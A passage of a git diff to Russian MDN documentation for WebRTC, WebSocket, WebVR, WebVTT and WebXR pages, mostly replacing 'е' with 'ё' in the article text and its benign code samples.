      Есть два уровня перезапуска сессии: полная перезагрузка сессии вызывает все мультимедийные потоки в сеансе и должны быть пересмотрены. Частичная перезагрузка сессии позволяет агенту сессии перезапустить конкретный медиапоток вместо того, чтобы перезапускать  все медиаданные. Некоторые браузеры пока не поддерживают частичную перезагрузку сессии, однако. <<< Все зависит от вашего кодерства... >>>

      -

      Если вам необходимо изменить конфигурацию соединения каким-либо образом (например, изменение к другому набору связи), вы можете сделать это перед RTCPeerConnection.setConfiguration()(перед назначением конфигурации) с обновленной RTCConfiguration(конфигурацией) перед повторным запуском движка.

      +

      Если вам необходимо изменить конфигурацию соединения каким-либо образом (например, изменение к другому набору связи), вы можете сделать это перед RTCPeerConnection.setConfiguration()(перед назначением конфигурации) с обновлённой RTCConfiguration(конфигурацией) перед повторным запуском движка.

      Чтобы явно вызвать перезапуск сессии, нужно начать переговорный процесс с помощью вызова RTCPeerConnection.createOffer(), указав параметр iceRestart(перезапуск сессии) со значением истины(true). Затем обработать процесс соединения так, как вы это обычно делаете.

      diff --git a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html index 844c8e0d19..73db097039 100644 --- a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html +++ b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling ---
      {{WebRTCSidebar}}
      -

      WebRTC позволяет обмениваться медиаданными между двумя устройствами напрямую (peer-to-peer) в режиме реального времени. Соединение устанавливается путем обнаружения и согласования, называемым сигнализацией (signaling). Эта статья объясняет, как сделать двусторонний видеозвонок.

      +

      WebRTC позволяет обмениваться медиаданными между двумя устройствами напрямую (peer-to-peer) в режиме реального времени. Соединение устанавливается путём обнаружения и согласования, называемым сигнализацией (signaling). Эта статья объясняет, как сделать двусторонний видеозвонок.

      -

      WebRTC это технология прямого обмена аудио-, видео- и другими данными в режиме реального времени с одним ключевым условием. Процесс обнаружения и согласования медиаформатов должен происходить так чтобы два устройства, подключенные к разным сетям, могли локализовать друг друга, как обсуждалось здесь. Этот процесс назван сигнализацией и подразумевает, что оба устройства подключаются к третьему, обоюдно согласованному серверу. Через третью сторону устройства определяют адреса друг друга и обмениваются согласующими сообщениями.

      +

      WebRTC это технология прямого обмена аудио-, видео- и другими данными в режиме реального времени с одним ключевым условием. Процесс обнаружения и согласования медиаформатов должен происходить так чтобы два устройства, подключённые к разным сетям, могли локализовать друг друга, как обсуждалось здесь. Этот процесс назван сигнализацией и подразумевает, что оба устройства подключаются к третьему, обоюдно согласованному серверу. Через третью сторону устройства определяют адреса друг друга и обмениваются согласующими сообщениями.

      В этой статье мы будем дорабатывать  WebSocket-чат, созданный для нашей документации к WebSocket, — добавим к нему двусторонний видеозвонок между двумя пользователями. Вы можете использовать этот пример на Glitch или клонировать его, чтобы поэкспериментировать самим. Весь проект можно посмотреть на GitHub.

      @@ -21,13 +21,13 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling

      Во-первых, нужен сам сервер сигнализации. Спецификация WebRTC не определяет, какой транспорт используется для передачи сигнальной информации. Можете использовать какой вам нравится, от WebSocket до {{domxref("XMLHttpRequest")}} и почтовых голубей, чтобы передать сигнальную информацию между пирами.

      -

      Важно, что серверу не нужно понимать или интерпретировать сигнальные данные. Хотя они в формате {{Glossary("SDP")}}, это не имеет особого значения: содержание сообщений, проходящих через сигнальный сервер - по сути, черный ящик. Значение имеет лишь то, что когда подсистема {{Glossary("ICE")}} дает команду передать данные другому пиру, вы просто это делаете, а уже пир знает, как получить эту информацию и доставить ее на свою подсистему ICE. Все что нужно - передавать сообщения туда и обратно. Содержание совершенно не важно для сигнального сервера.

      +

      Важно, что серверу не нужно понимать или интерпретировать сигнальные данные. Хотя они в формате {{Glossary("SDP")}}, это не имеет особого значения: содержание сообщений, проходящих через сигнальный сервер - по сути, чёрный ящик. Значение имеет лишь то, что когда подсистема {{Glossary("ICE")}} даёт команду передать данные другому пиру, вы просто это делаете, а уже пир знает, как получить эту информацию и доставить её на свою подсистему ICE. Все что нужно - передавать сообщения туда и обратно. Содержание совершенно не важно для сигнального сервера.

      Подготовка сервера чата к сигнализации

      -

      Наш сервер чата использует WebSocket API для отправки информации как {{Glossary("JSON")}}  между каждым клиентом и сервером. Сервер поддерживает несколько типов сообщений для нескольких задач : регистрация нового пользователя, установки имен пользователей, отправка сообщений чата.

      +

      Наш сервер чата использует WebSocket API для отправки информации как {{Glossary("JSON")}}  между каждым клиентом и сервером. Сервер поддерживает несколько типов сообщений для нескольких задач : регистрация нового пользователя, установки имён пользователей, отправка сообщений чата.

      -

      Для того, что бы сервер мог поддерживать функциональность сигнализации и согласование соединения, нам нужно обновить код. Нам нужно направлять сообщения одному конкретному пользователю вместо того, чтобы транслировать их всем подключенным пользователям, а также обеспечить передачу и доставку неизвестных типов сообщений, при этом серверу не нужно будет знать, что это такое. Это позволит нам посылать сигнальные сообщения, используя один и тот же сервер, вместо того, чтобы использовать отдельный сервер.

      +

      Для того, что бы сервер мог поддерживать функциональность сигнализации и согласование соединения, нам нужно обновить код. Нам нужно направлять сообщения одному конкретному пользователю вместо того, чтобы транслировать их всем подключённым пользователям, а также обеспечить передачу и доставку неизвестных типов сообщений, при этом серверу не нужно будет знать, что это такое. Это позволит нам посылать сигнальные сообщения, используя один и тот же сервер, вместо того, чтобы использовать отдельный сервер.

      Let's take a look which changes we need to make to the chat server support WebRTC signaling. This is in the file chatserver.js.

      diff --git a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html index 4d02e4d5d4..8ed6944d59 100644 --- a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html +++ b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API/Simple_RTCDataChannel_sample

      Интерфейс {{domxref("RTCDataChannel")}} является функциональностью  WebRTC API , который позволяет открыть канал между узлами соединения, по которому можно отправлять и получать произвольные данные. Эти  API намеренно сходны с  WebSocket API, для использования единой программной модели.

      -

      В этом примере мы откроем соединение {{domxref ("RTCDataChannel")}}, связывающее два элемента на одной странице. Хотя это явно надуманный сценарий, он полезен для демонстрации последовательности соединения двух узлов. Мы расскажем о механизме выполнения соединения, передачи и получения данных, но оставим немного информации о поиске и подключении к удаленному компьютеру для другого примера.

      +

      В этом примере мы откроем соединение {{domxref ("RTCDataChannel")}}, связывающее два элемента на одной странице. Хотя это явно надуманный сценарий, он полезен для демонстрации последовательности соединения двух узлов. Мы расскажем о механизме выполнения соединения, передачи и получения данных, но оставим немного информации о поиске и подключении к удалённому компьютеру для другого примера.

      Разметка HTML

      diff --git a/files/ru/web/api/webrtc_api/taking_still_photos/index.html b/files/ru/web/api/webrtc_api/taking_still_photos/index.html index a15d916a7e..c690fafe2a 100644 --- a/files/ru/web/api/webrtc_api/taking_still_photos/index.html +++ b/files/ru/web/api/webrtc_api/taking_still_photos/index.html @@ -40,11 +40,11 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos

      Код JavaScript

      -

      Посмотрим на  JavaScript code. Разобьем его на части, для упрощения объяснения.

      +

      Посмотрим на  JavaScript code. Разобьём его на части, для упрощения объяснения.

      Инициализация

      -

      Начнем с обертки всего скрипта в анонимную функцию, во избежании конфликтов глобальных переменных, затем инициализируем различные нужные  переменные.

      +

      Начнём с обёртки всего скрипта в анонимную функцию, во избежании конфликтов глобальных переменных, затем инициализируем различные нужные  переменные.

      (function() {
         var width = 320;    // Этим создадим ширину фотографии
      @@ -106,7 +106,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
       
       

      Здесь мы называем метод  {{domxref("MediaDevices.getUserMedia()")}} , запрашивая медиапоток без аудиопотока (audio : false). Он возвращает промис, на котором мы определяем методы успешного и не успешного выполнений.

      -

      Успешное выполнение промиса передает объект потока( stream ) в качестве параметра функции метода then()., который присваивается свойству srcObject элемента {{HTMLElement("video")}}, направляя поток в него.

      +

      Успешное выполнение промиса передаёт объект потока( stream ) в качестве параметра функции метода then()., который присваивается свойству srcObject элемента {{HTMLElement("video")}}, направляя поток в него.

      Как только поток связан с элементом <video> ,  запускаем его воспроизведение, вызовом метода HTMLMediaElement.play().

      @@ -114,7 +114,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos

      Обработка события начала воспроизведения

      -

      После момента вызова метода  HTMLMediaElement.play() на элементе {{HTMLElement("video")}}, возникает промежуток времени до начала воспроизведения видеопотока. Для недопущения блокирования интерфейса пользователя в это промежуток, нужно установить обработчик события {{event("canplay")}} элемента video , который сработает, когда элемент начнет воспроизведение видеопотока. В этот момент все свойства элемента video конфигурируются на основе формата потока.

      +

      После момента вызова метода  HTMLMediaElement.play() на элементе {{HTMLElement("video")}}, возникает промежуток времени до начала воспроизведения видеопотока. Для недопущения блокирования интерфейса пользователя в это промежуток, нужно установить обработчик события {{event("canplay")}} элемента video , который сработает, когда элемент начнёт воспроизведение видеопотока. В этот момент все свойства элемента video конфигурируются на основе формата потока.

          video.addEventListener('canplay', function(ev){
             if (!streaming) {
      @@ -147,7 +147,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
       
       

      Завершение метода  startup() 

      -

      Еще пара строк кода в методе startup():

      +

      Ещё пара строк кода в методе startup():

          clearphoto();
         }
      @@ -167,7 +167,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos photo.setAttribute('src', data); }
      -

      Начнем с получения ссылки на скрытый элемент {{HTMLElement ("canvas")}}, который мы используем для рендеринга за пределами экрана. Затем мы устанавливаем свойство fillStyle в  #AAA ( светло-серый) и заполняем весь холст этим цветом, вызывая метод {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.

      +

      Начнём с получения ссылки на скрытый элемент {{HTMLElement ("canvas")}}, который мы используем для рендеринга за пределами экрана. Затем мы устанавливаем свойство fillStyle в  #AAA ( светло-серый) и заполняем весь холст этим цветом, вызывая метод {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.

      Наконец, в этой функции мы конвертируем canvas в изображение PNG и вызываем метод {{domxref("Element.setAttribute", "photo.setAttribute()")}} отображая захваченный цветовой фон в элементе изображения (бокса для фотографии).

      @@ -207,9 +207,9 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos

      Вы можете экспериментировать с этими эффектами, используя, например, инструмент разработчика FirefoxYou  редактор стилей; смотрим Редактирование с CSS фильтрами о подробностях выполнения.

      -

      Использование определенных устройств

      +

      Использование определённых устройств

      -

      При необходимости вы можете ограничить набор разрешенных источников видео, определенным устройством или набором устройств. Для этого нужно вызвать метод {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис разрешиться массивом объектов {{domxref("MediaDeviceInfo")}} , описывающих доступные устройства , выберите те, которым хотите разрешить доступ и укажите соответствующий идентификатор устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} или несколько deviceId в объекте  {{domxref("MediaTrackConstraints")}} , переданном в  {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.

      +

      При необходимости вы можете ограничить набор разрешённых источников видео, определённым устройством или набором устройств. Для этого нужно вызвать метод {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис разрешиться массивом объектов {{domxref("MediaDeviceInfo")}} , описывающих доступные устройства , выберите те, которым хотите разрешить доступ и укажите соответствующий идентификатор устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} или несколько deviceId в объекте  {{domxref("MediaTrackConstraints")}} , переданном в  {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.

      Смотри так же

      diff --git a/files/ru/web/api/webrtc_api/using_data_channels/index.html b/files/ru/web/api/webrtc_api/using_data_channels/index.html index cbb64c54bb..1c2e5b2521 100644 --- a/files/ru/web/api/webrtc_api/using_data_channels/index.html +++ b/files/ru/web/api/webrtc_api/using_data_channels/index.html @@ -16,15 +16,15 @@ translation_of: Web/API/WebRTC_API/Using_data_channels

      Основной транспорт передачи данных, использующийся объектом типа {{domxref("RTCDataChannel")}} может быть создан двумя способами:

        -
      • Позволить WebRTC создать транспорт и сообщить об этом удаленному узлу (вызвав у него событие типа  {{event("datachannel")}} ). Это простой способ, и он подходит для многих случаев, но не достаточно гибок для широких нужд.
      • +
      • Позволить WebRTC создать транспорт и сообщить об этом удалённому узлу (вызвав у него событие типа  {{event("datachannel")}} ). Это простой способ, и он подходит для многих случаев, но не достаточно гибок для широких нужд.
      • Написать свои скрипты по согласованию транспорта данных, и сигнализированию другому узлу о необходимости присоединения к новому каналу данных.
      -

      Разберем оба случая, начиная с первого, как с наиболее распространенного.

      +

      Разберём оба случая, начиная с первого, как с наиболее распространенного.

      Автоматический режим согласования

      -

      Зачастую, разработчик может позволить объекту соединения обработать согласование  {{domxref("RTCDataChannel")}} соединения за него. Для этого нужно вызвать метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} без определения значения свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, или определить свойство значением false. Это автоматически активирует RTCPeerConnection на обработку согласования соединения за разработчика, вызывая событие создание канала данных у удаленного узла, связывая два узла вместе по сети.

      +

      Зачастую, разработчик может позволить объекту соединения обработать согласование  {{domxref("RTCDataChannel")}} соединения за него. Для этого нужно вызвать метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} без определения значения свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, или определить свойство значением false. Это автоматически активирует RTCPeerConnection на обработку согласования соединения за разработчика, вызывая событие создание канала данных у удалённого узла, связывая два узла вместе по сети.

      Вызов метода createDataChannel() немедленно возвращает объект типа RTCDataChannel. Подписываясь на событие  {{domxref("RTCDataChannel.open_event", "open")}} , можно будет точно определить когда соединение успешно откроется.

      @@ -39,7 +39,7 @@ dataChannel.addEventListener("open", (event) => {

      Для ручного согласования соединения, сначала необходимо создать новый объект типа {{domxref("RTCDataChannel")}}, используя метод  {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} объекта {{domxref("RTCPeerConnection")}}, определяя свойство  {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} в значение true. Это сигнализирует объекту соединения не пытаться согласовать соединение автоматически.

      -

      Затем нужно согласовать соединение, используя веб сервер или иные средства коммуникации. Этот процесс должен сигнализировать удаленному узлу, что нужно создать собственный объект типа RTCDataChannel со свойством  negotiated, установленным в значение  true, используя тот же идентификатор канала {{domxref("RTCDataChannel.id", "id")}}. Это свяжет два объекта типа  RTCDataChannel через объект типа RTCPeerConnection.

      +

      Затем нужно согласовать соединение, используя веб сервер или иные средства коммуникации. Этот процесс должен сигнализировать удалённому узлу, что нужно создать собственный объект типа RTCDataChannel со свойством  negotiated, установленным в значение  true, используя тот же идентификатор канала {{domxref("RTCDataChannel.id", "id")}}. Это свяжет два объекта типа  RTCDataChannel через объект типа RTCPeerConnection.

      let dataChannel = pc.createDataChannel("MyApp Channel", {
         negotiated: true
      @@ -51,7 +51,7 @@ dataChannel.addEventListener("open", (event) => {
       
       requestRemoteChannel(dataChannel.id);
      -

      В данном примере канал создается установкой значения свойства negotiated в true, затем вызывается функция  requestRemoteChannel() , запуская согласование соединения для создания удаленного канала с тем же идентификатором как у локального канала. Таким образом создание каналов данных позволяет использовать различные свойства, создавая их декларативно, используя одно и тоже значение идентификатора канала  id.

      +

      В данном примере канал создаётся установкой значения свойства negotiated в true, затем вызывается функция  requestRemoteChannel() , запуская согласование соединения для создания удалённого канала с тем же идентификатором как у локального канала. Таким образом создание каналов данных позволяет использовать различные свойства, создавая их декларативно, используя одно и тоже значение идентификатора канала  id.

      Буферизация

      @@ -63,11 +63,11 @@ requestRemoteChannel(dataChannel.id);

      Ограничения размеров сообщений

      -

      Для любых данных, передаваемых по сети, существуют ограничения по размеру. На фундаментальном уровне отдельные сетевые пакеты не могут быть больше определенного значения (точное число зависит от сети и используемого транспортного уровня).  На уровне приложения, то есть в пределах {{Glossary("user agent", "user agent's")}} реализация WebRTC, в которой работает ваш код, реализует функции поддержки сообщений, размер которых превышает максимальный размер пакета на транспортном уровне сети.

      +

      Для любых данных, передаваемых по сети, существуют ограничения по размеру. На фундаментальном уровне отдельные сетевые пакеты не могут быть больше определённого значения (точное число зависит от сети и используемого транспортного уровня).  На уровне приложения, то есть в пределах {{Glossary("user agent", "user agent's")}} реализация WebRTC, в которой работает ваш код, реализует функции поддержки сообщений, размер которых превышает максимальный размер пакета на транспортном уровне сети.

      -

      Это может усложнить ситуацию, поскольку вы не знаете, каковы ограничения по размеру для различных пользовательских агентов и как они реагируют на отправку или получение сообщения большего размера. Даже когда пользовательские агенты совместно используют одну и ту же базовую библиотеку для обработки данных протокола управления потоком (SCTP), могут существовать различия в зависимости от того, как используется библиотека. Например, и Firefox, и Google Chrome используют библиотеку usrsctp для реализации SCTP, но все еще существуют ситуации, в которых передача данных по RTCDataChannel каналу может завершиться сбоем из-за различий в том, как они вызывают библиотеку и обрабатывают ошибки, которые она возвращает.

      +

      Это может усложнить ситуацию, поскольку вы не знаете, каковы ограничения по размеру для различных пользовательских агентов и как они реагируют на отправку или получение сообщения большего размера. Даже когда пользовательские агенты совместно используют одну и ту же базовую библиотеку для обработки данных протокола управления потоком (SCTP), могут существовать различия в зависимости от того, как используется библиотека. Например, и Firefox, и Google Chrome используют библиотеку usrsctp для реализации SCTP, но все ещё существуют ситуации, в которых передача данных по RTCDataChannel каналу может завершиться сбоем из-за различий в том, как они вызывают библиотеку и обрабатывают ошибки, которые она возвращает.

      -

      Когда два пользователя, использующие Firefox, обмениваются данными по каналу данных, ограничение размера сообщения намного больше, чем когда Firefox и Chrome обмениваются данными, потому что Firefox реализует устаревшую технику для отправки больших сообщений в нескольких сообщениях SCTP, чего нет в Chrome. Вместо этого Chrome увидит серию сообщений, которые он считает завершенными, и доставит их получающему RTCDataChannel каналу в виде нескольких сообщений

      +

      Когда два пользователя, использующие Firefox, обмениваются данными по каналу данных, ограничение размера сообщения намного больше, чем когда Firefox и Chrome обмениваются данными, потому что Firefox реализует устаревшую технику для отправки больших сообщений в нескольких сообщениях SCTP, чего нет в Chrome. Вместо этого Chrome увидит серию сообщений, которые он считает завершёнными, и доставит их получающему RTCDataChannel каналу в виде нескольких сообщений

      Сообщения размером менее 16 КБ могут отправляться без проблем, поскольку все основные пользовательские агенты обрабатывают их одинаково.

      @@ -77,9 +77,9 @@ requestRemoteChannel(dataChannel.id);

      В конечном итоге это стало проблемой. Со временем различные приложения (в том числе внедряющие WebRTC) начали использовать SCTP для передачи больших и больших сообщений. В конце концов стало ясно, что когда сообщения становятся слишком большими, передача большого сообщения может блокировать все другие передачи данных в этом канале данных, включая критические сообщения сигнализации.

      -

      Это станет проблемой, когда браузеры будут должным образом поддерживать текущий стандарт поддержки больших сообщений - флаг конца записи (EOR), который указывает, когда сообщение является последним в серии, которое следует рассматривать как одну полезную нагрузку. Это реализовано в Firefox 57, но еще не реализовано в Chrome (см. Chromium Bug 7774). С поддержкой EOR полезная нагрузка RTCDataChannel может быть намного больше (официально до 256 КБ, но реализация Firefox ограничивает их колоссальным 1 ГБ). Даже при 256 кБ этого достаточно, чтобы вызвать заметные задержки при обработке срочного трафика.

      +

      Это станет проблемой, когда браузеры будут должным образом поддерживать текущий стандарт поддержки больших сообщений - флаг конца записи (EOR), который указывает, когда сообщение является последним в серии, которое следует рассматривать как одну полезную нагрузку. Это реализовано в Firefox 57, но ещё не реализовано в Chrome (см. Chromium Bug 7774). С поддержкой EOR полезная нагрузка RTCDataChannel может быть намного больше (официально до 256 КБ, но реализация Firefox ограничивает их колоссальным 1 ГБ). Даже при 256 кБ этого достаточно, чтобы вызвать заметные задержки при обработке срочного трафика.

      -

      Чтобы решить эту проблему, была разработана новая система планировщиков потоков (обычно называемая «спецификацией данных SCTP»), позволяющая чередовать сообщения, отправленные в разных потоках, включая потоки, используемые для реализации каналов данных WebRTC. Это предложение предложение все еще находится в черновой форме IETF, но после его реализации оно позволит отправлять сообщения практически без ограничений по размеру, поскольку уровень SCTP автоматически чередует лежащие в основе под-сообщения, чтобы обеспечить возможность получения данных каждого канала.

      +

      Чтобы решить эту проблему, была разработана новая система планировщиков потоков (обычно называемая «спецификацией данных SCTP»), позволяющая чередовать сообщения, отправленные в разных потоках, включая потоки, используемые для реализации каналов данных WebRTC. Это предложение предложение все ещё находится в черновой форме IETF, но после его реализации оно позволит отправлять сообщения практически без ограничений по размеру, поскольку уровень SCTP автоматически чередует лежащие в основе под-сообщения, чтобы обеспечить возможность получения данных каждого канала.

      Поддержка Firefox для ndata находится в процессе реализации. Команда Chrome отслеживает реализацию поддержки ndata в Chrome Bug 5696.

      diff --git a/files/ru/web/api/websocket/index.html b/files/ru/web/api/websocket/index.html index 2d53a55c5c..4cc3326a7f 100644 --- a/files/ru/web/api/websocket/index.html +++ b/files/ru/web/api/websocket/index.html @@ -69,7 +69,7 @@ WebSocket WebSocket( bufferedAmount unsigned long - Количество байтов данных, которые были поставлены в очередь, используя вызовы {{ manch("send") }}, но еще не переданные в сеть. Это значение не сбрасывается в ноль, при закрытии соединения; если продолжить вызывать  {{ manch("send") }}, значение будет расти. Только чтение. + Количество байтов данных, которые были поставлены в очередь, используя вызовы {{ manch("send") }}, но ещё не переданные в сеть. Это значение не сбрасывается в ноль, при закрытии соединения; если продолжить вызывать  {{ manch("send") }}, значение будет расти. Только чтение. extensions @@ -178,7 +178,7 @@ WebSocket WebSocket(
      code {{ optional_inline() }}
      -
      Числовое значение, обозначающее статус-код, описывающий почему подключение будет закрыто. Если параметр не указан, значение по умолчанию равно 1000(обозначает "обмен завершен"). Смотрите list of status codes для CloseEvent, чтобы узнать разрешенные значения.
      +
      Числовое значение, обозначающее статус-код, описывающий почему подключение будет закрыто. Если параметр не указан, значение по умолчанию равно 1000(обозначает "обмен завершён"). Смотрите list of status codes для CloseEvent, чтобы узнать разрешённые значения.
      reason {{ optional_inline() }}
      Читаемая человеком строка, объясняющая, почему подключение закрывается. Строка должна быть не длиннее, чем 123 байта UTF-8 текста (не символов). 
      @@ -198,7 +198,7 @@ WebSocket WebSocket(

      send()

      -

      Передает данные на сервер через WebSocket - соединение.

      +

      Передаёт данные на сервер через WebSocket - соединение.

      void send(
         in DOMString data
      @@ -224,7 +224,7 @@ void send(
       
       
      INVALID_STATE_ERR
      -
      Соединение еще не открыто.
      +
      Соединение ещё не открыто.
      SYNTAX_ERR
      Строка data содержит непарные суррогаты
      @@ -252,7 +252,7 @@ void send(

      Пример

      -
      // Создает WebSocket - подключение.
      +
      // Создаёт WebSocket - подключение.
       const socket = new WebSocket('ws://localhost:8080');
       
       // Соединение открыто
      diff --git a/files/ru/web/api/websockets_api/index.html b/files/ru/web/api/websockets_api/index.html
      index 7b0156b5a7..83672bc3d4 100644
      --- a/files/ru/web/api/websockets_api/index.html
      +++ b/files/ru/web/api/websockets_api/index.html
      @@ -10,7 +10,7 @@ tags:
       translation_of: Web/API/WebSockets_API
       original_slug: WebSockets
       ---
      -

      Веб-сокеты это продвинутая технология, позволяющая открыть постоянное двунаправленное сетевое соединение между браузером пользователя и сервером. С помощью его API вы можете отправить сообщение на сервер и получить ответ без выполнения http запроса, причем этот процесс будет событийно-управляемым.

      +

      Веб-сокеты это продвинутая технология, позволяющая открыть постоянное двунаправленное сетевое соединение между браузером пользователя и сервером. С помощью его API вы можете отправить сообщение на сервер и получить ответ без выполнения http запроса, причём этот процесс будет событийно-управляемым.

      diff --git a/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html b/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html index d5729bf6a4..7a6e602c2c 100644 --- a/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html +++ b/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html @@ -58,7 +58,7 @@ WebSocket WebSocket(

      Примеры

      -

      Этот простой пример создает новый WebSocket, подключаемый к серверу ws://www.example.com/socketserver. В данном примере в конструктор сокета в качестве дополнительного параметра передается пользовательский протокол "protocolOne", хотя эта часть может быть опущена.

      +

      Этот простой пример создаёт новый WebSocket, подключаемый к серверу ws://www.example.com/socketserver. В данном примере в конструктор сокета в качестве дополнительного параметра передаётся пользовательский протокол "protocolOne", хотя эта часть может быть опущена.

      var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne");
       
      diff --git a/files/ru/web/api/webvr_api/index.html b/files/ru/web/api/webvr_api/index.html index e53532700d..a1dd13cbc9 100644 --- a/files/ru/web/api/webvr_api/index.html +++ b/files/ru/web/api/webvr_api/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/WebVR_API

      Концепция и использование

      -

      Любые VR-устройства, подключенные к вашему компьютеру, будут возвращены методом {{domxref("Navigator.getVRDisplays()")}}; каждое из которых будет представлено  {{domxref("VRDisplay")}} объектом.

      +

      Любые VR-устройства, подключённые к вашему компьютеру, будут возвращены методом {{domxref("Navigator.getVRDisplays()")}}; каждое из которых будет представлено  {{domxref("VRDisplay")}} объектом.

      Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"

      @@ -60,7 +60,7 @@ translation_of: Web/API/WebVR_API
      {{domxref("VREyeParameters")}}
      Предоставляет доступ ко все информации, необходимой для корректного отображения сцены для каждого заднего глаза, включая информацию о поле зрения.
      {{domxref("VRFieldOfView")}}
      -
      Представляет поле зрения, определенное четырьмя различными значениями степени, описывающими представление из центральной точки.
      +
      Представляет поле зрения, определённое четырьмя различными значениями степени, описывающими представление из центральной точки.
      {{domxref("VRLayerInit")}}
      Представляет слой, который должен быть представлен в {{domxref("VRDisplay")}}.
      {{domxref("VRStageParameters")}}
      @@ -84,7 +84,7 @@ translation_of: Web/API/WebVR_API
      {{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}
      Возвращает массив, содержащий каждый {{domxref("VRDisplay")}} объект, который в настоящее время отображается ({{domxref("VRDisplay.ispresenting")}} является true).
      {{domxref("Navigator.getVRDisplays()")}}
      -
      Возвращает обещание, которое преобразуется в массив {{domxref("VRDisplay")}} объектов,  представляющих любые доступные VR-дисплеи, подключенные к компьютеру.
      +
      Возвращает обещание, которое преобразуется в массив {{domxref("VRDisplay")}} объектов,  представляющих любые доступные VR-дисплеи, подключённые к компьютеру.

      Window события

      @@ -93,7 +93,7 @@ translation_of: Web/API/WebVR_API
      {{domxref("Window.onvrdisplaypresentchange")}}
      Представляет обработчик событий, который будет выполняться, при изменении состояния отображения VR-дисплея — т.е. идёт от отображения до неотображения, или наоборот (когда {{event("vrdisplaypresentchange")}} событие срабатывает).
      {{domxref("Window.onvrdisplayconnect")}}
      -
      Представляет обработчик событий, который будет запускаться, когда к компьютеру подключен совместимый VR-дисплей (когда {{event("vrdisplayconnect")}} событие срабатывает).
      +
      Представляет обработчик событий, который будет запускаться, когда к компьютеру подключён совместимый VR-дисплей (когда {{event("vrdisplayconnect")}} событие срабатывает).
      {{domxref("Window.onvrdisplaydisconnect")}}
      Представляет обработчик событий, который будет запускаться, когда совместимый VR-дисплей был отключён от компьютера (когда {{event("vrdisplaydisconnect")}} событие срабатывает).
      {{domxref("Window.onvrdisplayactivate")}}
      diff --git a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html index 78aed3b7b7..51cdf502b8 100644 --- a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html +++ b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/WebVR_API/Using_the_WebVR_API
      • Устройство с поддержкой VR.
          -
        • Самым дешевым вариантом будет использовать мобильное устройство, какое-нибудь крепление (например, Google Cardboard) и подходящий браузер. Ощущения будут не такие яркие, как от специализированного устройства, но зато Вам не понадобится приобретать мощный компьютер или отдельный VR дисплей.
        • +
        • Самым дешёвым вариантом будет использовать мобильное устройство, какое-нибудь крепление (например, Google Cardboard) и подходящий браузер. Ощущения будут не такие яркие, как от специализированного устройства, но зато Вам не понадобится приобретать мощный компьютер или отдельный VR дисплей.
        • Специализированное устройство может быть дорогим, но зато ощущения будут лучше. Наиболее WebVR-совместимые устройства на данный момент: HTC VIVE, The Oculus Rift. Дополнительную информацию о доступных устройствах и их поддержке браузерами можно найти на webvr.info.
      • diff --git a/files/ru/web/api/webvtt_api/index.html b/files/ru/web/api/webvtt_api/index.html index 11db07532a..1927c7927f 100644 --- a/files/ru/web/api/webvtt_api/index.html +++ b/files/ru/web/api/webvtt_api/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/WebVTT_API Никогда не пейте жидкий азот. 00:05.000 --> 00:09.000 -- Это пробьет ваш желудок. +- Это пробьёт ваш желудок. - Вы можете умереть.
      @@ -73,7 +73,7 @@ translation_of: Web/API/WebVTT_API

      Внутренняя структура файла WebVTT

      -

      Давайте вернемся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.

      +

      Давайте вернёмся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.

      WEBVTT
       
      @@ -171,7 +171,7 @@ video::cue(b) {
       
       

      В данном примере фоном видео будет серый градиент, с цветом текста papayawhip. Также, текст, выделенный жирным шрифтом с помощью элемента {{HTMLElement("b")}}, имеет цвет peachpuff.

      -

      Фрагмент HTML, приведенный ниже, отображает видео.

      +

      Фрагмент HTML, приведённый ниже, отображает видео.

      <video controls autoplay src="video.webm">
        <track default src="track.vtt">
      diff --git a/files/ru/web/api/webxr_device_api/index.html b/files/ru/web/api/webxr_device_api/index.html
      index 913ea6fcf9..7a1ce319e1 100644
      --- a/files/ru/web/api/webxr_device_api/index.html
      +++ b/files/ru/web/api/webxr_device_api/index.html
